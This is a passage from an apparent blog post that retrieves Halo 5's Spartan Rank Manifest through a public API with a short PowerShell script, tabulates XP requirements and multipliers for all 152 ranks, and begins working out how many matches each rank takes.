<p>The <strong>Spartan Rank Manifest</strong> is a JSON document that outlines the requirements for each individual rank in Halo 5. It&rsquo;s available through the Halo 5 API - you can see the contents for yourself if you send a <code>GET</code> request to the following URI:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line"><span class="cl"><span class="err">https://content-hacs.svc.halowaypoint.com/contents/SpartanRankManifest
</span></span></span></code></pre></div><p>I am not sure how long that API will stay up, so you can always refer to <a
  href="https://gist.github.com/dend/954b10e91473bd629b1d36c7c5771357"
  
  target="_blank" rel="noreferrer noopener"
>my Gist</a> that captures a snapshot of the JSON response.</p>
<p>If you&rsquo;d rather not craft the API request yourself to parse all the data out of it, you can use <a
  href="https://gist.github.com/dend/3beae357cb2b2b6480b217128e19d866"
  
  target="_blank" rel="noreferrer noopener"
>my handy PowerShell script</a> to render the relevant data points in a neat little table:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nv">$uri</span> <span class="p">=</span> <span class="s2">&#34;https://content-hacs.svc.halowaypoint.com/contents/SpartanRankManifest&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">try</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$response</span> <span class="p">=</span> <span class="nb">Invoke-RestMethod</span> <span class="n">-Uri</span> <span class="nv">$uri</span> <span class="n">-Method</span> <span class="n">Get</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nv">$results</span> <span class="p">=</span> <span class="k">foreach</span> <span class="p">(</span><span class="nv">$contentItem</span> <span class="k">in</span> <span class="nv">$response</span><span class="p">.</span> <span class="n">ContentItems</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$spartanRanks</span> <span class="p">=</span> <span class="nv">$contentItem</span><span class="p">.</span> <span class="n">View</span><span class="p">.</span><span class="py">SpartanRankManifest</span><span class="p">.</span><span class="py">SpartanRanks</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$spartanRanks</span> <span class="o">-and</span> <span class="nv">$spartanRanks</span><span class="p">.</span> <span class="n">Count</span> <span class="o">-gt</span> <span class="mf">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">foreach</span> <span class="p">(</span><span class="nv">$rank</span> <span class="k">in</span> <span class="nv">$spartanRanks</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$rankNumber</span> <span class="p">=</span> <span class="mf">0</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="p">(</span><span class="nv">$rank</span><span class="p">.</span><span class="py">View</span><span class="p">.</span> <span class="n">Title</span> <span class="o">-match</span> <span class="s1">&#39;\d+$&#39;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="nv">$rankNumber</span> <span class="p">=</span> <span class="p">[</span><span class="no">int</span><span class="p">]</span><span class="nv">$Matches</span><span class="p">[</span><span class="mf">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="p">[</span><span class="no">PSCustomObject</span><span class="p">]</span><span class="vm">@</span><span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="s1">&#39;Rank&#39;</span>              <span class="p">=</span> <span class="nv">$rankNumber</span>
</span></span><span class="line"><span class="cl">                    <span class="s1">&#39;Start XP&#39;</span>          <span class="p">=</span> <span class="s1">&#39;{0:N0}&#39;</span> <span class="o">-f</span> <span class="nv">$rank</span><span class="p">.</span><span class="py">View</span><span class="p">.</span><span class="py">SpartanRank</span><span class="p">.</span> <span class="n">StartXP</span>
</span></span><span class="line"><span class="cl">                    <span class="s1">&#39;XP Scalar&#39;</span>         <span class="p">=</span> <span class="nv">$rank</span><span class="p">.</span><span class="py">View</span><span class="p">.</span><span class="py">SpartanRank</span><span class="p">.</span> <span class="n">SpartanRankMatchXPScalar</span>
</span></span><span class="line"><span class="cl">                    <span class="s1">&#39;Credit Multiplier&#39;</span> <span class="p">=</span> <span class="nv">$rank</span><span class="p">.</span><span class="py">View</span><span class="p">.</span><span class="py">SpartanRank</span><span class="p">.</span><span class="py">CreditMultiplier</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nv">$results</span> <span class="p">|</span> <span class="nb">Sort-Object</span> <span class="p">{</span> <span class="p">[</span><span class="no">int</span><span class="p">](</span><span class="nv">$_</span><span class="p">.</span>  <span class="n">Rank</span><span class="p">)</span> <span class="p">}</span> <span class="p">|</span> <span class="nb">Format-Table</span> <span class="n">-AutoSize</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="k">catch</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nb">Write-Error</span> <span class="s2">&#34;Failed to retrieve data: </span><span class="nv">$_</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>All of this leads me to the next part, where we take a closer look at the actual Spartan Rank requirements associated with each &ldquo;tier.&rdquo;</p>
<h3 id="spartan-rank-requirements" class="relative group">Spartan Rank requirements <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#spartan-rank-requirements" aria-label="Anchor">#</a></span></h3>
<p>Using the script above, we can format the output into a <em>proper</em> table that I can use in this post. This is what the breakdown of XP-per-rank looks like:</p>
<table>
	<thead>
			<tr>
					<th>Rank</th>
					<th>Start XP</th>
					<th>XP To Next Level</th>
					<th>XP Scalar</th>
					<th>Credit Multiplier</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>1</td>
					<td>0</td>
					<td>300</td>
					<td>1.0</td>
					<td>1.35</td>
			</tr>
			<tr>
					<td>2</td>
					<td>300</td>
					<td>3,300</td>
					<td>1.0</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>3</td>
					<td>3,600</td>
					<td>3,000</td>
					<td>1.0</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>4</td>
					<td>6,600</td>
					<td>4,100</td>
					<td>1.05</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>5</td>
					<td>10,700</td>
					<td>3,000</td>
					<td>1.1</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>6</td>
					<td>13,700</td>
					<td>3,800</td>
					<td>1.15</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>7</td>
					<td>17,500</td>
					<td>5,000</td>
					<td>1.2</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>8</td>
					<td>22,500</td>
					<td>6,000</td>
					<td>1.25</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>9</td>
					<td>28,500</td>
					<td>8,500</td>
					<td>1.3</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>10</td>
					<td>37,000</td>
					<td>4,000</td>
					<td>1.35</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>11</td>
					<td>41,000</td>
					<td>6,000</td>
					<td>1.4</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>12</td>
					<td>47,000</td>
					<td>7,500</td>
					<td>1.44</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>13</td>
					<td>54,500</td>
					<td>9,000</td>
					<td>1.48</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>14</td>
					<td>63,500</td>
					<td>11,000</td>
					<td>1.52</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>15</td>
					<td>74,500</td>
					<td>12,500</td>
					<td>1.56</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>16</td>
					<td>87,000</td>
					<td>14,500</td>
					<td>1.59</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>17</td>
					<td>101,500</td>
					<td>16,500</td>
					<td>1.62</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>18</td>
					<td>118,000</td>
					<td>19,000</td>
					<td>1.65</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>19</td>
					<td>137,000</td>
					<td>23,000</td>
					<td>1.68</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>20</td>
					<td>160,000</td>
					<td>7,000</td>
					<td>1.71</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>21</td>
					<td>167,000</td>
					<td>9,000</td>
					<td>1.74</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>22</td>
					<td>176,000</td>
					<td>11,500</td>
					<td>1.76</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>23</td>
					<td>187,500</td>
					<td>13,500</td>
					<td>1.78</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>24</td>
					<td>201,000</td>
					<td>16,000</td>
					<td>1.8</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>25</td>
					<td>217,000</td>
					<td>19,000</td>
					<td>1.82</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>26</td>
					<td>236,000</td>
					<td>22,000</td>
					<td>1.84</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>27</td>
					<td>258,000</td>
					<td>24,500</td>
					<td>1.85</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>28</td>
					<td>282,500</td>
					<td>27,500</td>
					<td>1.86</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>29</td>
					<td>310,000</td>
					<td>30,000</td>
					<td>1.87</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>30</td>
					<td>340,000</td>
					<td>9,500</td>
					<td>1.88</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>31</td>
					<td>349,500</td>
					<td>12,000</td>
					<td>1.89</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>32</td>
					<td>361,500</td>
					<td>15,000</td>
					<td>1.9</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>33</td>
					<td>376,500</td>
					<td>17,500</td>
					<td>1.91</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>34</td>
					<td>394,000</td>
					<td>20,500</td>
					<td>1.92</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>35</td>
					<td>414,500</td>
					<td>23,500</td>
					<td>1.93</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>36</td>
					<td>438,000</td>
					<td>26,000</td>
					<td>1.94</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>37</td>
					<td>464,000</td>
					<td>29,000</td>
					<td>1.95</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>38</td>
					<td>493,000</td>
					<td>32,500</td>
					<td>1.96</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>39</td>
					<td>525,500</td>
					<td>36,500</td>
					<td>1.97</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>40</td>
					<td>562,000</td>
					<td>12,000</td>
					<td>1.98</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>41</td>
					<td>574,000</td>
					<td>15,000</td>
					<td>1.99</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>42</td>
					<td>589,000</td>
					<td>18,500</td>
					<td>2.0</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>43</td>
					<td>607,500</td>
					<td>21,500</td>
					<td>2.0</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>44</td>
					<td>629,000</td>
					<td>25,000</td>
					<td>2.01</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>45</td>
					<td>654,000</td>
					<td>28,000</td>
					<td>2.01</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>46</td>
					<td>682,000</td>
					<td>31,500</td>
					<td>2.02</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>47</td>
					<td>713,500</td>
					<td>35,000</td>
					<td>2.02</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>48</td>
					<td>748,500</td>
					<td>38,000</td>
					<td>2.03</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>49</td>
					<td>786,500</td>
					<td>41,500</td>
					<td>2.03</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>50</td>
					<td>828,000</td>
					<td>45,000</td>
					<td>2.035</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>51</td>
					<td>873,000</td>
					<td>49,000</td>
					<td>2.04</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>52</td>
					<td>922,000</td>
					<td>53,500</td>
					<td>2.045</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>53</td>
					<td>975,500</td>
					<td>59,500</td>
					<td>2.05</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>54</td>
					<td>1,035,000</td>
					<td>65,000</td>
					<td>2.055</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>55</td>
					<td>1,100,000</td>
					<td>15,000</td>
					<td>2.06</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>56</td>
					<td>1,115,000</td>
					<td>20,000</td>
					<td>2.065</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>57</td>
					<td>1,135,000</td>
					<td>20,000</td>
					<td>2.07</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>58</td>
					<td>1,155,000</td>
					<td>25,000</td>
					<td>2.075</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>59</td>
					<td>1,180,000</td>
					<td>30,000</td>
					<td>2.08</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>60</td>
					<td>1,210,000</td>
					<td>35,000</td>
					<td>2.084</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>61</td>
					<td>1,245,000</td>
					<td>35,000</td>
					<td>2.088</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>62</td>
					<td>1,280,000</td>
					<td>40,000</td>
					<td>2.092</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>63</td>
					<td>1,320,000</td>
					<td>45,000</td>
					<td>2.096</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>64</td>
					<td>1,365,000</td>
					<td>50,000</td>
					<td>2.1</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>65</td>
					<td>1,415,000</td>
					<td>50,000</td>
					<td>2.104</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>66</td>
					<td>1,465,000</td>
					<td>55,000</td>
					<td>2.108</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>67</td>
					<td>1,520,000</td>
					<td>60,000</td>
					<td>2.112</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>68</td>
					<td>1,580,000</td>
					<td>65,000</td>
					<td>2.116</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>69</td>
					<td>1,645,000</td>
					<td>75,000</td>
					<td>2.12</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>70</td>
					<td>1,720,000</td>
					<td>15,000</td>
					<td>2.124</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>71</td>
					<td>1,735,000</td>
					<td>20,000</td>
					<td>2.127</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>72</td>
					<td>1,755,000</td>
					<td>25,000</td>
					<td>2.13</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>73</td>
					<td>1,780,000</td>
					<td>30,000</td>
					<td>2.133</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>74</td>
					<td>1,810,000</td>
					<td>35,000</td>
					<td>2.136</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>75</td>
					<td>1,845,000</td>
					<td>40,000</td>
					<td>2.139</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>76</td>
					<td>1,885,000</td>
					<td>45,000</td>
					<td>2.142</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>77</td>
					<td>1,930,000</td>
					<td>45,000</td>
					<td>2.145</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>78</td>
					<td>1,975,000</td>
					<td>50,000</td>
					<td>2.148</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>79</td>
					<td>2,025,000</td>
					<td>55,000</td>
					<td>2.151</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>80</td>
					<td>2,080,000</td>
					<td>60,000</td>
					<td>2.154</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>81</td>
					<td>2,140,000</td>
					<td>65,000</td>
					<td>2.157</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>82</td>
					<td>2,205,000</td>
					<td>70,000</td>
					<td>2.16</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>83</td>
					<td>2,275,000</td>
					<td>80,000</td>
					<td>2.163</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>84</td>
					<td>2,355,000</td>
					<td>85,000</td>
					<td>2.166</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>85</td>
					<td>2,440,000</td>
					<td>25,000</td>
					<td>2.169</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>86</td>
					<td>2,465,000</td>
					<td>25,000</td>
					<td>2.172</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>87</td>
					<td>2,490,000</td>
					<td>30,000</td>
					<td>2.174</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>88</td>
					<td>2,520,000</td>
					<td>35,000</td>
					<td>2.176</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>89</td>
					<td>2,555,000</td>
					<td>40,000</td>
					<td>2.178</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>90</td>
					<td>2,595,000</td>
					<td>45,000</td>
					<td>2.18</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>91</td>
					<td>2,640,000</td>
					<td>50,000</td>
					<td>2.182</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>92</td>
					<td>2,690,000</td>
					<td>55,000</td>
					<td>2.184</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>93</td>
					<td>2,745,000</td>
					<td>60,000</td>
					<td>2.186</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>94</td>
					<td>2,805,000</td>
					<td>65,000</td>
					<td>2.188</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>95</td>
					<td>2,870,000</td>
					<td>70,000</td>
					<td>2.19</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>96</td>
					<td>2,940,000</td>
					<td>75,000</td>
					<td>2.192</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>97</td>
					<td>3,015,000</td>
					<td>80,000</td>
					<td>2.194</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>98</td>
					<td>3,095,000</td>
					<td>85,000</td>
					<td>2.196</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>99</td>
					<td>3,180,000</td>
					<td>90,000</td>
					<td>2.198</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>100</td>
					<td>3,270,000</td>
					<td>30,000</td>
					<td>2.2</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>101</td>
					<td>3,300,000</td>
					<td>35,000</td>
					<td>2.201</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>102</td>
					<td>3,335,000</td>
					<td>40,000</td>
					<td>2.202</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>103</td>
					<td>3,375,000</td>
					<td>45,000</td>
					<td>2.203</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>104</td>
					<td>3,420,000</td>
					<td>50,000</td>
					<td>2.203</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>105</td>
					<td>3,470,000</td>
					<td>60,000</td>
					<td>2.205</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>106</td>
					<td>3,530,000</td>
					<td>65,000</td>
					<td>2.206</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>107</td>
					<td>3,595,000</td>
					<td>70,000</td>
					<td>2.207</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>108</td>
					<td>3,665,000</td>
					<td>75,000</td>
					<td>2.208</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>109</td>
					<td>3,740,000</td>
					<td>80,000</td>
					<td>2.209</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>110</td>
					<td>3,820,000</td>
					<td>85,000</td>
					<td>2.21</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>111</td>
					<td>3,905,000</td>
					<td>90,000</td>
					<td>2.211</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>112</td>
					<td>3,995,000</td>
					<td>95,000</td>
					<td>2.212</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>113</td>
					<td>4,090,000</td>
					<td>110,000</td>
					<td>2.213</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>114</td>
					<td>4,200,000</td>
					<td>120,000</td>
					<td>2.214</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>115</td>
					<td>4,320,000</td>
					<td>35,000</td>
					<td>2.215</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>116</td>
					<td>4,355,000</td>
					<td>40,000</td>
					<td>2.216</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>117</td>
					<td>4,395,000</td>
					<td>45,000</td>
					<td>2.217</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>118</td>
					<td>4,440,000</td>
					<td>55,000</td>
					<td>2.218</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>119</td>
					<td>4,495,000</td>
					<td>60,000</td>
					<td>2.219</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>120</td>
					<td>4,555,000</td>
					<td>65,000</td>
					<td>2.22</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>121</td>
					<td>4,620,000</td>
					<td>70,000</td>
					<td>2.221</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>122</td>
					<td>4,690,000</td>
					<td>75,000</td>
					<td>2.222</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>123</td>
					<td>4,765,000</td>
					<td>80,000</td>
					<td>2.223</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>124</td>
					<td>4,845,000</td>
					<td>90,000</td>
					<td>2.224</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>125</td>
					<td>4,935,000</td>
					<td>90,000</td>
					<td>2.225</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>126</td>
					<td>5,025,000</td>
					<td>95,000</td>
					<td>2.226</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>127</td>
					<td>5,120,000</td>
					<td>100,000</td>
					<td>2.227</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>128</td>
					<td>5,220,000</td>
					<td>110,000</td>
					<td>2.228</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>129</td>
					<td>5,330,000</td>
					<td>145,000</td>
					<td>2.229</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>130</td>
					<td>5,475,000</td>
					<td>45,000</td>
					<td>2.23</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>131</td>
					<td>5,520,000</td>
					<td>55,000</td>
					<td>2.231</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>132</td>
					<td>5,575,000</td>
					<td>65,000</td>
					<td>2.232</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>133</td>
					<td>5,640,000</td>
					<td>70,000</td>
					<td>2.233</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>134</td>
					<td>5,710,000</td>
					<td>80,000</td>
					<td>2.234</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>135</td>
					<td>5,790,000</td>
					<td>90,000</td>
					<td>2.235</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>136</td>
					<td>5,880,000</td>
					<td>100,000</td>
					<td>2.236</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>137</td>
					<td>5,980,000</td>
					<td>105,000</td>
					<td>2.237</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>138</td>
					<td>6,085,000</td>
					<td>115,000</td>
					<td>2.238</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>139</td>
					<td>6,200,000</td>
					<td>125,000</td>
					<td>2.239</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>140</td>
					<td>6,325,000</td>
					<td>135,000</td>
					<td>2.24</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>141</td>
					<td>6,460,000</td>
					<td>155,000</td>
					<td>2.241</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>142</td>
					<td>6,615,000</td>
					<td>185,000</td>
					<td>2.242</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>143</td>
					<td>6,800,000</td>
					<td>250,000</td>
					<td>2.243</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>144</td>
					<td>7,050,000</td>
					<td>700,000</td>
					<td>2.244</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>145</td>
					<td>7,750,000</td>
					<td>1,250,000</td>
					<td>2.245</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>146</td>
					<td>9,000,000</td>
					<td>2,050,000</td>
					<td>2.246</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>147</td>
					<td>11,050,000</td>
					<td>2,950,000</td>
					<td>2.247</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>148</td>
					<td>14,000,000</td>
					<td>4,000,000</td>
					<td>2.248</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>149</td>
					<td>18,000,000</td>
					<td>6,000,000</td>
					<td>2.249</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>150</td>
					<td>24,000,000</td>
					<td>11,000,000</td>
					<td>2.25</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>151</td>
					<td>35,000,000</td>
					<td>15,000,000</td>
					<td>2.251</td>
					<td>1.0</td>
			</tr>
			<tr>
					<td>152</td>
					<td>50,000,000</td>
					<td>N/A</td>
					<td>2.252</td>
					<td>1.0</td>
			</tr>
	</tbody>
</table>
<p>Remember how I said reaching Hero in Halo Infinite is <em>way easier</em>? Well, think of it through this lens - to get to <code>SR152</code> you need to get to Hero more than five times (assuming similar match XP distribution). Jumping from <code>SR150</code> to <code>SR151</code> alone is basically an entire Hero playthrough, and then some.</p>
<h3 id="the-extra-values" class="relative group">The extra values <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#the-extra-values" aria-label="Anchor">#</a></span></h3>
<p>Now, you might be looking at the table above and think that in addition to the XP, I am also capturing some <em>previously mostly unknown</em> values, and that is the <strong>XP Scalar</strong> and <strong>Credit Multiplier</strong>.</p>
<p>The Credit Multiplier granted more Requisition Points (RP) and is constant across the ranks <em>except</em> at the very start of your journey. It&rsquo;s good to know it&rsquo;s there, but for our exploration purposes it&rsquo;s kind of pointless, because it&rsquo;s always <code>1.0</code>.</p>
<p>Depending on your Spartan Rank, however, your <em>earned</em> XP will get boosted by a pre-determined multiplier - the XP Scalar. For example, if you earned 1,000 XP by default in a match, when the match ends you will get a total of 1,000 XP at <code>SR1</code> but 2,252 XP at <code>SR152</code> - more than double of the original, thanks to the scalar. This is not something that exists in Halo Infinite (or, at least, we don&rsquo;t know if there is a rank-based multiplier behind the scenes), but in Halo 5 you could <em>definitely</em> make more experience over time just by virtue of your rank.</p>
<p>To get an idea of its importance, let&rsquo;s do a little experiment to demonstrate how the scalar actually impacted your in-game XP earning potential.</p>
<p>Let&rsquo;s say we want to compute how many matches it would take to get to <code>SR152</code> from <code>SR1</code>. Let&rsquo;s also assume, for the sake of making it easy on ourselves, that every match is going to yield a fixed 2,000 XP - hypothetically, we do not have any boosts or other factors that influence the outcome. This is just a middle-of-the-road game where the player performed just about average.</p>
<h4 id="matches-required-without-a-scalar" class="relative group">Matches required without a scalar <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#matches-required-without-a-scalar" aria-label="Anchor">#</a></span></h4>
<p>Here is the number of matches <em>at each rank</em> that you&rsquo;d need to reach <code>SR152</code>:</p>
<table>
	<thead>
			<tr>
					<th>Rank</th>
					<th>Start XP</th>
					<th>Matches at Rank</th>
					<th>Total XP Earned</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>1</td>
					<td>0</td>
					<td>1</td>
					<td>2,000</td>
			</tr>
			<tr>
					<td>2</td>
					<td>300</td>
					<td>1</td>
					<td>4,000</td>
			</tr>
			<tr>
					<td>3</td>
					<td>3,600</td>
					<td>2</td>
					<td>8,000</td>
			</tr>
			<tr>
					<td>4</td>
					<td>6,600</td>
					<td>2</td>
					<td>12,000</td>
			</tr>
			<tr>
					<td>5</td>
					<td>10,700</td>
					<td>1</td>
					<td>14,000</td>
			</tr>
			<tr>
					<td>6</td>
					<td>13,700</td>
					<td>2</td>
					<td>18,000</td>
			</tr>
			<tr>
					<td>7</td>
					<td>17,500</td>
					<td>3</td>
					<td>24,000</td>
			</tr>
			<tr>
					<td>8</td>
					<td>22,500</td>
					<td>3</td>
					<td>30,000</td>
			</tr>
			<tr>
					<td>9</td>
					<td>28,500</td>
					<td>4</td>
					<td>38,000</td>
			</tr>
			<tr>
					<td>10</td>
					<td>37,000</td>
					<td>2</td>
					<td>42,000</td>
			</tr>
			<tr>
